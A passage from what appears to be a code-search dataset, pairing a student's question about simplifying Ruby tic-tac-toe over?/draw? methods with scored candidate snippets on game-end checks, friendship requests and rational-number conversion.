requested by \" + friend.email + \".\"\n end\n end", "title": "" }, { "docid": "c1cd34eeea3fa92903fd22d9d35ffdc4", "score": "0.66206515", "text": "def update\n\tfriendship = Friendship.find_by_id(params[:id])\n\tfriendship.confirmed = 1\n\t if friendship.save\n\t redirect_to (:back)\n\t else\n\t redirect_to (:back)\n\t end\n end", "title": "" }, { "docid": "ab40f863ce212d5a7c017212c786de86", "score": "0.6615801", "text": "def approve!\n skip_confirmation!\n self.confirmed_at = Time.zone.now\n save!\n end", "title": "" }, { "docid": "bf171c632486bd8354e5dab9779b5ebf", "score": "0.66077256", "text": "def accept_friendship_with(friend)\n self.friendship(friend).update_attribute(:accepted_at, Time.now)\n end", "title": "" }, { "docid": "6c558552034a96c45886bfe756a367d6", "score": "0.66062176", "text": "def send_friendship_request(user)\n self.sent_frequests.create(sender_id: self.id, receiver_id: user.id, status: \"pending\")\n end", "title": "" }, { "docid": "b7a6116d3ef47bdb2a9ff4f7b4dbe1b5", "score": "0.65985525", "text": "def create\n\t\t@friendship = current_user.request_friendship(@user)\n\t\trespond_to do |format|\n\t\t\tformat.html {redirect_to users_path, notice: \"Friendship Created\"}\n\t\tend\n\n\tend", "title": "" }, { "docid": "61463a6dadef97fe1489c569be8ee87c", "score": "0.6598313", "text": "def create\n\n friend = User.find(params[:friend_id])\n @friend_request = current_user.friend_requests.new(friend: friend)\n\n if @friend_request.save\n redirect_to friend_requests_path\n else\n redirect_to authenticated_root\n end\n\n end", "title": "" }, { "docid": "7d34e786a4182563aee256fe3fe27d00", "score": "0.6596707", "text": "def add\n friend = User.find(params[:user_id])\n @user.accept_request(friend)\n redirect_to friendships_requests_path\n end", "title": "" }, { "docid": "723a93fb79d479a87ab92bfa6507113a", "score": "0.65964854", "text": "def update\n if @friendship.update(approved: true)\n render json: {status: :success, friendship: @friendship}\n else\n render json: {status: :failed, friendship: @friendship}\n end\n end", "title": "" }, { "docid": "73c8af7c6ed2b5f6a1e84f0ac88fb50e", "score": "0.65921384", "text": "def create\n Friendship.request(@user, @friend)\n Postoffice.deliver_friend_request(:user => @user,\n :friend => @friend,\n :user_url => profile_url(@user.username),\n :accept_url => \"<a target=\\\"_blank\\\" href=\\\"\" + url_for(:controller => 'friendship', :action => 'accept', :id => @user.username, :return_to => profile_url(@friend.username)) + \"\\\">Accept</a>\") if [email protected]?\n flash[:notice] = \"Thanks, we sent a message to #{@friend.username} to connect.\"\n redirect_to_dashboard_or_current_page(params[:return_to], @user.username)\n end", "title": "" }, { "docid": "af77f8f9d476f30e5575ddcb2519ba84", "score": "0.65850204", "text": "def approve\n# DEBUG\n# logger.debug \"\\r\\n\\r\\n!! ------ #{self.class.name}.approve() -----\"\n# logger.debug \"PARAMS: #{params.inspect}\"\n @title = I18n.t('social.approve_title')\n @swimming_buddy = User.find_by_id( params[:id] )\n\n if request.post? # === POST: ===\n shares_passages = (params[:shares_passages].to_i > 0)\n shares_trainings = (params[:shares_trainings].to_i > 0)\n shares_calendars = (params[:shares_calendars].to_i > 0)\n if UserSocializer.new(current_user).approve_with_notify( @swimming_buddy, shares_passages, shares_trainings, shares_calendars )\n flash[:info] = I18n.t('social.approve_successful')\n else\n flash[:error] = I18n.t('social.approve_error')\n end\n redirect_to( swimmer_radio_path(id: @swimming_buddy.swimmer_id) ) and return\n # === GET: ===\n else\n if SwimmerUserStrategy.new(@swimming_buddy.swimmer).is_approvable_by( current_user )\n @submit_title = I18n.t('social.approve')\n @friendship = current_user.find_any_friendship_with(@swimming_buddy)\n else\n flash[:warning] = I18n.t( 'social.warning_could_not_find_valid_or_pending_friendship' )\n .gsub( \"{SWIMMER_NAME}\", @swimming_buddy.name )\n redirect_back( fallback_location: root_path ) and return\n end\n end\n end", "title": "" }, { "docid": "5a4627c30817c37ab2d36cf79f7fa3c6", "score": "0.6583885", "text": "def inverse_friendship(user)\n\t\t\t@inverse_friendship = user.friendships.new(friend_id: current_user.id).save\n\t\tend", "title": "" }, { "docid": "69c1cf80cc010a2bd194652940371e76", "score": "0.65834165", "text": "def update\n\n\n \t@friendship = current_user.friendships_1.find_by(sender_id: params[:id])\n \t# binding.pry\n \[email protected]_attributes(accepted: true)\n\n\n redirect_to root_url\n #redirect to the index page\n\n end", "title": "" }, { "docid": "422bb5d470c4b71219ad183791cf2319", "score": "0.6583001", "text": "def create_inverse\n x = User.find_by(id: self.user_id).friends.last\n Friendship.create(user_id: x.id, friend_id: User.find_by(id: self.user_id).id)\n end", "title": "" }, { "docid": "aa7f44e89b70846244661d3d34c3ad1a", "score": "0.65815", "text": "def create\n friend = User.find(params[:user_id])\n friendship = Friendship.new(user_id: current_user.id, friend_id: friend.id)\n friendship.save\n Action.create(info: current_user.username + ' has sent a friend request to ' + friend.username, user_email: current_user.email) \n Notification.create(info: current_user.username + ' has sent you a friend request.', user_id: friend.id, link: '/users/' + current_user.id.to_s)\n redirect_to '/users/' + params[:user_id]\nend", "title": "" }, { "docid": "79373cb133240b485f596d30cccf8779", "score": "0.6573904", "text": "def friendship_action(user, friend)\n #return \"me\" if User.is_same?(user, friend)\n return \"me\" if current_user?(friend)\n friendship = Friendship.find_by_user_id_and_friend_id(user, friend)\n return link_to \"Add friend\", {:controller =>\"friendships\",\n :action =>\"initiate\", :id => friend.id},\n :confirm =>\"Add #{friend.name}?\" if friendship.nil? \n\n case friendship.status\n when 'requested'\n \"awaiting ur approval\"\n when 'pending'\n \"sent request\"\n end\n end", "title": "" } ]
cec014c50cedcb9255a6944fe5e3b108
for my over method i previously have the below and was getting my first 3 tests to pass but not the 4th and that's when i went to ask a question and they helped me reactor it down to a much simpler code base of just one line of code and then they helped me refactor my draw method to just one line of code as well what the teacher explain is b/c full was part of the draw method by calling on the "draw method" via helper method in my over method it is going to take into account fullness...and so just having the over method be defined as the game being WON or a DRAW would take into account fullness def over?(board) won?(board) draw?(board) full?(board) || !full?(board) end
[ { "docid": "b6b263a396aba89872c04c0c1061b198", "score": "0.0", "text": "def winner(board)\n if won_game = won?(board)\n return board[won_game.first]\n end\n end", "title": "" } ]
[ { "docid": "3408e613057986415ca26d0aa7cf2671", "score": "0.8805403", "text": "def over?(board)\n#over? == true if won? is true OR full is true. There is no need to\n#check for draw?, as a draw will happen if board is full.\n won?(board) || full?(board)\nend", "title": "" }, { "docid": "2eff3cc319716f44770b3732efe60f81", "score": "0.8757352", "text": "def over?(board)\n if draw?(board)\n return true\n elsif won?(board)\n return true\n elsif !full?(board)\n return false\n end\nend", "title": "" }, { "docid": "d5ccc8dac5708bf2a3ee0d4ee71509c5", "score": "0.867441", "text": "def over?(board)\n won?(board) || draw?(board) # && full?(board)\nend", "title": "" }, { "docid": "73b5e11d4b34c3cfc028756bb23cb269", "score": "0.8657515", "text": "def over?(board)\n if draw?(board) == true\n return true\n elsif won?(board) != false\n return true\n elsif full?(board) == false\n return false\n end\nend", "title": "" }, { "docid": "d9f441eb810ebc01aca642e8a1cc3059", "score": "0.86572754", "text": "def over?(board)\n if draw?(board) || full?(board)\n true\n elsif won?(board)\n true\n else\n false\n end\nend", "title": "" }, { "docid": "a36545cc958347a334059351f3f41a18", "score": "0.8595559", "text": "def over?(board)\n #board that has been won and the board is NOT full --> true\n if won?(board) != false && full?(board) == false\n return true\n #board that has been won and the board is full --> true\n elsif won?(board) != false && full?(board) == true\n return true\n #board that is still in-progress --> false\n elsif won?(board) == false && full?(board) == false\n return false\n #board that's a draw --> true\n elsif draw?(board) == true\n return true\n end\nend", "title": "" }, { "docid": "1940461af6bec032b5ea4640519ea8b6", "score": "0.85832524", "text": "def over?(board)\n #if full?(board) || won?(board) || draw?(board) then return true\n if won?(board) || draw?(board) then return true\n else return false\n end\nend", "title": "" }, { "docid": "8ca77b6aace44a10bec83c3c905ff2d9", "score": "0.8556012", "text": "def draw?(board)\n if !won?(board) && full?(board)\n true\n elsif !won?(board) && !full?(board)\n false\n else won?(board)\n false\n end\nend", "title": "" }, { "docid": "77fff5a160dfb2e07af79068b1aa33a7", "score": "0.8553884", "text": "def draw?(board)\n if !won?(board) && full?(board)\n true\n elsif !won?(board) && !full?(board)\n false\n elsif won?(board)\n false\n end\nend", "title": "" }, { "docid": "822b998b6de1ae3572d6e5e91c5be4bf", "score": "0.8541494", "text": "def draw?(board)\n # returns true if the board has not been won and is full\n # return false if the board is not won and the board is not full\n # return false if the board is won\n\n if !won?(board) && full?(board)\n true\n elsif !won?(board) && !full?(board)\n false\n elsif won?(board)\n false\n end\nend", "title": "" }, { "docid": "e972f27c2d3c0d11e2e4985bb0e2618e", "score": "0.85368603", "text": "def draw?(board)\n if !won?(board) && full?(board) # if not won board and not full board then\n true\n else\n false\n end\nend", "title": "" }, { "docid": "beb0378dad762479c3dc2ccb8a127639", "score": "0.85362095", "text": "def over?(board)\n won?(board) == true || draw?(board) || full?(board)\nend", "title": "" }, { "docid": "93b83eb43ce6b38b75afc7d19bc9c7bc", "score": "0.8531757", "text": "def draw?(board)\n if won?(board)\n false\n elsif full?(board)\n true\n else\n false\n\n end\n\nend", "title": "" }, { "docid": "4fbba0272609fa2145ac93290fe8de04", "score": "0.8530185", "text": "def over?(board)\n if won?(board) || full?(board) || draw?(board)\n true\n end\nend", "title": "" }, { "docid": "68758f59a80df800d9103d4b9732297b", "score": "0.8525539", "text": "def draw? (board)\n if full?(board) == true\n !won?(board)\n end\nend", "title": "" }, { "docid": "88386a37da54121698a7e359f0fa17ff", "score": "0.85249406", "text": "def over?(board)\n if won?(board) || full?(board) || draw?(board)\n true\n else\n false\n end\nend", "title": "" }, { "docid": "88386a37da54121698a7e359f0fa17ff", "score": "0.85249406", "text": "def over?(board)\n if won?(board) || full?(board) || draw?(board)\n true\n else\n false\n end\nend", "title": "" }, { "docid": "78c5bf1d6ff149c6d08f4f5486933d03", "score": "0.8512705", "text": "def draw?(board)\n if full?(board) && !won?(board)\n true\n elsif won?(board)\n false\n else !full?(board)\n false\n end\nend", "title": "" }, { "docid": "4bc46f7a054951722fc02465c3dd97e4", "score": "0.85104114", "text": "def over?(board)\n if won?(board) || draw?(board) || full?(board)\n true\n else\n false\n end\nend", "title": "" }, { "docid": "4bc46f7a054951722fc02465c3dd97e4", "score": "0.85104114", "text": "def over?(board)\n if won?(board) || draw?(board) || full?(board)\n true\n else\n false\n end\nend", "title": "" }, { "docid": "5172e76605e26648e1e79346ab126c23", "score": "0.8510141", "text": "def over?(board)\n if won?(board) || draw?(board) || full?(board)\n true\n end\nend", "title": "" }, { "docid": "5172e76605e26648e1e79346ab126c23", "score": "0.8510141", "text": "def over?(board)\n if won?(board) || draw?(board) || full?(board)\n true\n end\nend", "title": "" }, { "docid": "6a3ce8d8c2e7f4a7fa360a422e9dec96", "score": "0.8509742", "text": "def over?(board)\n\tdraw?(board) || won?(board)|| !full?(board)\nend", "title": "" }, { "docid": "2e71915e4a729b48243fef41626eeada", "score": "0.85028857", "text": "def over?(board)\n if won?(board) || full?(board) || draw?(board) \n return true \n end \nend", "title": "" }, { "docid": "c0a8892136b741c410df699d731b307f", "score": "0.8498209", "text": "def over?(board)\n\n if won?(board) != nil || draw?(board) == true || full?(board) == true\n return true\n else\n return false\n end\n\nend", "title": "" }, { "docid": "1624ccb5a6a22b7dc7a1d6c152302313", "score": "0.84977347", "text": "def draw?(board) #should return true if the board is full and no winner\n if full?(board) && !won?(board)\n true\n else\n false\n end\nend", "title": "" }, { "docid": "6b538083fbd3adf1d4d17a9cb678f691", "score": "0.8491005", "text": "def over?(board)\n if won?(board) || full?(board) || draw?(board)\n return true\n end\nend", "title": "" }, { "docid": "60baa38b70995a6e5a0ae42ec0a5d4eb", "score": "0.8487516", "text": "def over?(board)\n if won?(board) || draw?(board) || full?(board)\n return true\n end\n return false\nend", "title": "" }, { "docid": "a9b21dc3e07b9fa8fd7a9e0bab7c4b59", "score": "0.84819496", "text": "def over?(board)\n if draw?(board) || won?(board) || full?(board)\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "4175841ac94a7663a3a4e2f476f8de95", "score": "0.8478694", "text": "def draw?(board)\n !won?(board) && full?(board) # true means a draw because the board is not won but full\nend", "title": "" }, { "docid": "67c0bfa3e1526387f71f1cad866b01ce", "score": "0.8475509", "text": "def over?(board)\n if won?(board) or draw?(board) or full?(board)\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "53913184a9dcf096531785252d06062e", "score": "0.8474306", "text": "def over?(board)\n if won?(board) || draw?(board) || full?(board)\n return true\n end\nend", "title": "" }, { "docid": "62e3905a3fd385cba1011aceae56f658", "score": "0.8472941", "text": "def over?(board)\n if won?(board) || full?(board) || draw?(board)\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "62e3905a3fd385cba1011aceae56f658", "score": "0.8472941", "text": "def over?(board)\n if won?(board) || full?(board) || draw?(board)\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "62e3905a3fd385cba1011aceae56f658", "score": "0.8472941", "text": "def over?(board)\n if won?(board) || full?(board) || draw?(board)\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "62e3905a3fd385cba1011aceae56f658", "score": "0.8472941", "text": "def over?(board)\n if won?(board) || full?(board) || draw?(board)\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "01c159ac12c026df38dc37f7788dbb25", "score": "0.84690666", "text": "def over?(board)\n if won?(board) || draw?(board) || full?(board)\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "42f097c0a7374bd9e4d5088532f410ca", "score": "0.8468487", "text": "def draw?(board)\n#draw? == true if full? method is true and won? method is false\n full?(board) && !won?(board)\nend", "title": "" }, { "docid": "476a4d95bc0af00d103d0889d968e1ba", "score": "0.8465137", "text": "def draw?(board)\n if !won?(board) && full?(board)\n true\n end\nend", "title": "" }, { "docid": "f572d1b6bbc496a4b3049b7db686b245", "score": "0.84626013", "text": "def draw?(board)\n if won?(board) \n false \n else full?(board) \n end\nend", "title": "" }, { "docid": "f6db5199e38684d7a09b2f614e07b6dc", "score": "0.8460055", "text": "def draw?(board)\n if won?(board) || !full?(board)\n return false\n else\n return true\n end\nend", "title": "" }, { "docid": "4f3e3c14f15b202179c7a28014550309", "score": "0.8458847", "text": "def over?\n won? || draw? || @board.full?\n end", "title": "" }, { "docid": "97174bace9ac1fc8d8b2825c8c319ada", "score": "0.8455936", "text": "def over?(board)\n if won?(board) || draw?(board) || full?(board)\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "97174bace9ac1fc8d8b2825c8c319ada", "score": "0.8455936", "text": "def over?(board)\n if won?(board) || draw?(board) || full?(board)\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "97174bace9ac1fc8d8b2825c8c319ada", "score": "0.8455936", "text": "def over?(board)\n if won?(board) || draw?(board) || full?(board)\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "97174bace9ac1fc8d8b2825c8c319ada", "score": "0.8455936", "text": "def over?(board)\n if won?(board) || draw?(board) || full?(board)\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "97174bace9ac1fc8d8b2825c8c319ada", "score": "0.8455936", "text": "def over?(board)\n if won?(board) || draw?(board) || full?(board)\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "97174bace9ac1fc8d8b2825c8c319ada", "score": "0.8455936", "text": "def over?(board)\n if won?(board) || draw?(board) || full?(board)\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "92807dd182b3ac1880367bc5a266becc", "score": "0.8454142", "text": "def over?(board)\n if won?(board) || draw?(board) || full?(board)\n return true\n else\n return false\n end\n end", "title": "" }, { "docid": "590f8935f5aecfc3b0fffd0d0e54dcde", "score": "0.84525657", "text": "def over?(board)\n if full?(board) || won?(board) || draw?(board)\n return true\n end\nend", "title": "" }, { "docid": "590f8935f5aecfc3b0fffd0d0e54dcde", "score": "0.84525657", "text": "def over?(board)\n if full?(board) || won?(board) || draw?(board)\n return true\n end\nend", "title": "" }, { "docid": "936767423bec3cac95792bf03f0abb0a", "score": "0.84524816", "text": "def over?(board)\n draw?(board) || won?(board) || full?(board)\nend", "title": "" }, { "docid": "936767423bec3cac95792bf03f0abb0a", "score": "0.84524816", "text": "def over?(board)\n draw?(board) || won?(board) || full?(board)\nend", "title": "" }, { "docid": "2e3bdbd6c322a14a82a89d6eeb9ff561", "score": "0.84518373", "text": "def draw?(board)\n if won?(board)\n return false\n elsif full?(board)\n return true\n end\nend", "title": "" }, { "docid": "703753ece934714b9f5647315a8521d5", "score": "0.8451377", "text": "def draw?(board)\n if !won?(board) && full?(board)\n true\n else\n false\n end\nend", "title": "" }, { "docid": "703753ece934714b9f5647315a8521d5", "score": "0.8451377", "text": "def draw?(board)\n if !won?(board) && full?(board)\n true\n else\n false\n end\nend", "title": "" }, { "docid": "3ab28725049009e47d6f13e843410e99", "score": "0.8448445", "text": "def over?\n won? || board.full? || draw?\n end", "title": "" }, { "docid": "3ab28725049009e47d6f13e843410e99", "score": "0.8448445", "text": "def over?\n won? || board.full? || draw?\n end", "title": "" }, { "docid": "9962ad9d06a5aef335dd161a00109e1e", "score": "0.8447217", "text": "def over?(board)\n if won?(board) == true || draw?(board) == true || full?(board) == true\n return true\n else false\n end\nend", "title": "" }, { "docid": "b4c1da282d2537a1bdf7aa1a121c57d6", "score": "0.84424174", "text": "def draw?(board)\n if won?(board)\n return false\n elsif full?(board)\n return true\n else\n return false\n\n end\nend", "title": "" }, { "docid": "e5dd79224da4e8471bc500077b550797", "score": "0.8437563", "text": "def over?\n #over? == true if won? is true OR draw is true. There is no need to\n #check for full, as a full board will happen if there is a draw.\n won? || draw?\n end", "title": "" }, { "docid": "8adec8d25b554dacb1511bb23cb271e8", "score": "0.8432953", "text": "def draw? (board)\n if won?(board) != false\n false\n elsif full?(board)\n true \n else\n false\n end \nend", "title": "" }, { "docid": "0f55c27c1a5a10ce3baadeda62a2b8e2", "score": "0.8426536", "text": "def draw?(board)\n !(won?(board)) && (full?(board))\nend", "title": "" }, { "docid": "6f9df7e824f5b8644929747ab8bc996c", "score": "0.8425134", "text": "def draw?(board)\n #full?(board) && !won?(board)\n !won?(board) && full?(board)\nend", "title": "" }, { "docid": "61da0ddab55d098b90e9db2482a39dd9", "score": "0.8424801", "text": "def over?(board)\n if (won?(board) != nil) || draw?(board) || full?(board)\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "9652ed5db2c66207dbf06e433f319fb1", "score": "0.84222263", "text": "def draw?(board)\n if !won?(board) && full?(board) then return true\n end\nend", "title": "" }, { "docid": "9f13102a0aac20d4288089f275f03711", "score": "0.8418341", "text": "def over?(board)\n if won?(board) || full?(board) || draw?(board)\n return true\n else\n return nil\n end\nend", "title": "" }, { "docid": "f8f269d334d1aef13903bf145a7cc474", "score": "0.8417018", "text": "def draw?(board)\n\n if full?(board) && !won?(board) #returns true if the board is full and there are no winning combinations.\n return true\n end\n\nend", "title": "" }, { "docid": "f8f269d334d1aef13903bf145a7cc474", "score": "0.8417018", "text": "def draw?(board)\n\n if full?(board) && !won?(board) #returns true if the board is full and there are no winning combinations.\n return true\n end\n\nend", "title": "" }, { "docid": "a55af7f29bdf9cffad3527f580881211", "score": "0.84163374", "text": "def draw?(board)\n if !won?(board) && !full?(board) || won?(board)\n false\n else\n true\n end\nend", "title": "" }, { "docid": "5c6c4330f0d324b05525e158f0555a37", "score": "0.8416213", "text": "def draw?(board)\n !won?(board) && full?(board) \nend", "title": "" }, { "docid": "ad5da11388977a83a29a2d5c8eddf66a", "score": "0.8414047", "text": "def over?(board)\n won?(board) || full?(board) || draw?(board)\nend", "title": "" }, { "docid": "ad5da11388977a83a29a2d5c8eddf66a", "score": "0.8414047", "text": "def over?(board)\n won?(board) || full?(board) || draw?(board)\nend", "title": "" }, { "docid": "ad5da11388977a83a29a2d5c8eddf66a", "score": "0.8414047", "text": "def over?(board)\n won?(board) || full?(board) || draw?(board)\nend", "title": "" }, { "docid": "ad5da11388977a83a29a2d5c8eddf66a", "score": "0.8414047", "text": "def over?(board)\n won?(board) || full?(board) || draw?(board)\nend", "title": "" }, { "docid": "08eba4e2b24d54d876f7f89735e6c75f", "score": "0.84115624", "text": "def draw?(board)\n if(!won?(board) && full?(board))\n true\n else\n false\n end\nend", "title": "" }, { "docid": "3689b044e27f208af75435d80a39b4af", "score": "0.8408787", "text": "def draw?(board)\n !won?(board) && full?(board)\nend", "title": "" }, { "docid": "3689b044e27f208af75435d80a39b4af", "score": "0.8408787", "text": "def draw?(board)\n !won?(board) && full?(board)\nend", "title": "" }, { "docid": "dc18c432164105029bd3c8a1f16818cb", "score": "0.8406459", "text": "def over?(board)\n won?(board) != nil || draw?(board) || full?(board)\nend", "title": "" }, { "docid": "71800ad6a8d34829c4448ae5f7b94553", "score": "0.8405213", "text": "def draw?(board)\n if full?(board) && !won?(board)\n return true\n elsif !full?(board) && !won?(board)\n return false\n else won?(board)\n false\n end\nend", "title": "" }, { "docid": "a92df693f5f1ff1b8b006860d0fead8b", "score": "0.84023297", "text": "def over?(board)\n draw?(board) || full?(board) || won?(board)\nend", "title": "" }, { "docid": "a92df693f5f1ff1b8b006860d0fead8b", "score": "0.84023297", "text": "def over?(board)\n draw?(board) || full?(board) || won?(board)\nend", "title": "" }, { "docid": "a92df693f5f1ff1b8b006860d0fead8b", "score": "0.84023297", "text": "def over?(board)\n draw?(board) || full?(board) || won?(board)\nend", "title": "" }, { "docid": "794e0ff484a2e0d9c0c229ae0d3bb02f", "score": "0.8400283", "text": "def over?(board)\n if won?(board) == true || full?(board) == true || draw?(board) == true\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "ba59ba4cd94f3ff6dbaf4ac409de9f6d", "score": "0.8399907", "text": "def draw?(board)\n if !won?(board) && full?(board)\n return true\n end\nend", "title": "" }, { "docid": "16197f4591e8f62d8927532bba627020", "score": "0.8397786", "text": "def draw?(board)\n !won?(board) && full?(board)\n end", "title": "" }, { "docid": "5ca6d2e05ac2dbe9e1e3a30373cd99ed", "score": "0.83969355", "text": "def draw?(board)\n if !won?(board) && full?(board)\n return true \n end \nend", "title": "" }, { "docid": "d843d8cbcab1077da23561950b9dc8f9", "score": "0.83968043", "text": "def over?\n won? || draw? || board.full?\n end", "title": "" }, { "docid": "512ef55eccfe807d2758cac17ac065b2", "score": "0.8395196", "text": "def over?(board)\n won?(board) || draw?(board) ||full?(board)\nend", "title": "" }, { "docid": "6557e02fafdb2be077a09884a903155d", "score": "0.8394693", "text": "def draw?(board)\n if won?(board) == true\n return false\n elsif won?(board) == false && full?(board) == true\n return true\n elsif !won?(board) && !full?(board)\n return false\nend\nend", "title": "" }, { "docid": "d4c600da42d93a72867ff31c7f51927c", "score": "0.83916926", "text": "def draw?(board)\n !won?(board) && full?(board)\nend", "title": "" }, { "docid": "d4c600da42d93a72867ff31c7f51927c", "score": "0.83916926", "text": "def draw?(board)\n !won?(board) && full?(board)\nend", "title": "" }, { "docid": "d4c600da42d93a72867ff31c7f51927c", "score": "0.83916926", "text": "def draw?(board)\n !won?(board) && full?(board)\nend", "title": "" }, { "docid": "d4c600da42d93a72867ff31c7f51927c", "score": "0.83916926", "text": "def draw?(board)\n !won?(board) && full?(board)\nend", "title": "" }, { "docid": "d4c600da42d93a72867ff31c7f51927c", "score": "0.83916926", "text": "def draw?(board)\n !won?(board) && full?(board)\nend", "title": "" }, { "docid": "d4c600da42d93a72867ff31c7f51927c", "score": "0.83916926", "text": "def draw?(board)\n !won?(board) && full?(board)\nend", "title": "" }, { "docid": "d4c600da42d93a72867ff31c7f51927c", "score": "0.83916926", "text": "def draw?(board)\n !won?(board) && full?(board)\nend", "title": "" }, { "docid": "d4c600da42d93a72867ff31c7f51927c", "score": "0.83916926", "text": "def draw?(board)\n !won?(board) && full?(board)\nend", "title": "" }, { "docid": "d4c600da42d93a72867ff31c7f51927c", "score": "0.83916926", "text": "def draw?(board)\n !won?(board) && full?(board)\nend", "title": "" }, { "docid": "d4c600da42d93a72867ff31c7f51927c", "score": "0.83916926", "text": "def draw?(board)\n !won?(board) && full?(board)\nend", "title": "" }, { "docid": "d4c600da42d93a72867ff31c7f51927c", "score": "0.83916926", "text": "def draw?(board)\n !won?(board) && full?(board)\nend", "title": "" } ]
a91134c450ad65ddbb1d831b26dff076
Convert to rational number
[ { "docid": "dbcc1a919575383251f24c926175daf1", "score": "0.7153639", "text": "def rational_number\r\n RationalNumber.new(self.rational_number_nv, self.rational_number_dv, self.rational_number_snv, self.rational_number_sdv)\r\n end", "title": "" } ]
[ { "docid": "f5562c46084e6d4280a4a47c2ddc633a", "score": "0.8126349", "text": "def rational\n Rational(integer, integer(0..INTMAX))\n end", "title": "" }, { "docid": "f8bc7e104719fe7194dc1f00c3cae38d", "score": "0.79523075", "text": "def rational\n denom_gen = such_that(fixnum) { |f| not f == 0 }\n\n fmap(tuple(fixnum, denom_gen)) do |(n, d)|\n Rational(n, d)\n end\n end", "title": "" }, { "docid": "64acd96d8c963db7fa5023e147ddcbb4", "score": "0.7657569", "text": "def on_rational(value); end", "title": "" }, { "docid": "90f32aa1292db21f71e04f38d485c85e", "score": "0.7635051", "text": "def simplify_rational_number\n self\n end", "title": "" }, { "docid": "719a50be88c5700e1f1fc45004395cd8", "score": "0.76218957", "text": "def to_r\n Rational(self, 1)\n end", "title": "" }, { "docid": "00e5c835c5af55faa78b7685576fe348", "score": "0.7544404", "text": "def test_to_rational\r\n rat = '1/2'.to_r\r\n assert_equal(rat.to_foorth_r, rat)\r\n end", "title": "" }, { "docid": "b0ef4a2dcdebcd9be0ab1a38b36478ca", "score": "0.75008166", "text": "def rationalize(eps = nil)\n eps ? base_amount.rationalize(eps) : base_amount.rationalize\n end", "title": "" }, { "docid": "e61e2e43c374a055a83fb3bccf7c36b6", "score": "0.74121374", "text": "def to_r\n return @scalar.to_r if self.unitless?\n raise RuntimeError, \"Cannot convert '#{self.to_s}' to Rational unless unitless. Use Unit#scalar\"\n end", "title": "" }, { "docid": "0ff5c3466c675e7abca75422efc4470f", "score": "0.7295558", "text": "def test_to_rational\r\n assert_equal(Rational(13,10), (1.3).to_foorth_r)\r\n end", "title": "" }, { "docid": "61828f6b0ad8dffd058b51028a99fc53", "score": "0.7291578", "text": "def to_rational\n e = biased_exponent\n if e.negative?\n sign * mantissa_fraction * Rational(1, 2**-e)\n else\n sign * mantissa_fraction * 2**e\n end\n end", "title": "" }, { "docid": "9009d5e735e7ffca13713a5e23a29392", "score": "0.7157661", "text": "def visit_rational(node)\n s(:rational, [node.value.to_r], smap_operator(nil, srange_node(node)))\n end", "title": "" }, { "docid": "54130cc190c25a2f739908aa1ff06268", "score": "0.7157153", "text": "def stringToRational\n return $str1.to_r\nend", "title": "" }, { "docid": "abb1e4d025ea28c2b04c83d7d63ceeb5", "score": "0.7124208", "text": "def to_r(x)\n x = x.to_f\n return Rational(x.to_i,1) if x.modulo(1) == 0\n if !x.finite?\n return Rational(0,0) if x.nan?\n return x < 0 ? Rational(-1,0) : Rational(1,0)\n end\n\n f,e = Math.frexp(x)\n\n if e < Float::MIN_EXP\n bits = e + Float::MANT_DIG - Float::MIN_EXP\n else\n bits = [Float::MANT_DIG, e].max\n # return Rational(x.to_i, 1) if bits < e\n end\n p = Math.ldexp(f,bits)\n e = bits - e\n if e<Float::MAX_EXP\n q = Math.ldexp(1, e)\n else\n q = Float::RADIX**e\n end\n Rational(p.to_i, q.to_i)\n end", "title": "" }, { "docid": "eded5e345aeb47e1529912ff238b54e0", "score": "0.71090573", "text": "def /(rational)\n new_numerator = self.numerator * rational.denominator\n new_denominator = self.denominator * rational.numerator\n RationalNumber.new(new_numerator, new_denominator)\n end", "title": "" }, { "docid": "13157bcd7c387b189308312f047655d0", "score": "0.7058022", "text": "def rationalize(*eps)\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "13157bcd7c387b189308312f047655d0", "score": "0.7058022", "text": "def rationalize(*eps)\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "13157bcd7c387b189308312f047655d0", "score": "0.7058022", "text": "def rationalize(*eps)\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "f34baff3a135b377d24f898b19cb04ca", "score": "0.70278907", "text": "def on_rational(value)\n RationalLiteral.new(\n value: value,\n location:\n Location.token(\n line: lineno,\n char: char_pos,\n column: current_column,\n size: value.size\n )\n )\n end", "title": "" }, { "docid": "64f828063f325fc30305c3dbeabc6532", "score": "0.6980589", "text": "def to_r\n \"#{@nominator.to_f / @denominator.to_f}\"\n end", "title": "" }, { "docid": "0ed45c6e0c8ae05ed93078b13d8684fe", "score": "0.69772196", "text": "def visit_rational(node); end", "title": "" }, { "docid": "ce256cbf1a42f025dee61dc378e77be0", "score": "0.6827251", "text": "def rational_number(opts = {})\n if !!opts[:force] or @rational_number == nil\n @rational_number = RationalNumber.new(self[tree_nv_field], self[tree_dv_field], self[tree_snv_field], self[tree_sdv_field])\n end\n @rational_number\n end", "title": "" }, { "docid": "9f80b9b83ec675c1b270d1421980a9e0", "score": "0.6821668", "text": "def rationalize(x, tol = nil)\n x.rationalize(tol)\n end", "title": "" }, { "docid": "affc9601a690a7537ed15e5dcfe1a2d5", "score": "0.68050575", "text": "def jruby_scale_down_rational(rat)\n return rat if rat.numerator <= java.lang.Long::MAX_VALUE\n [10, 100, 1000].each do |scale_by|\n new_numerator = rat.numerator / scale_by\n if new_numerator <= java.lang.Long::MAX_VALUE\n return Rational(new_numerator, rat.denominator / scale_by)\n end\n end\n end", "title": "" }, { "docid": "3f8251a637bdf36eef880767a9e0dfae", "score": "0.67373276", "text": "def reciprocal\n RationalNumber.new(self.denominator, self.numerator)\n end", "title": "" }, { "docid": "3f8251a637bdf36eef880767a9e0dfae", "score": "0.67373276", "text": "def reciprocal\n RationalNumber.new(self.denominator, self.numerator)\n end", "title": "" }, { "docid": 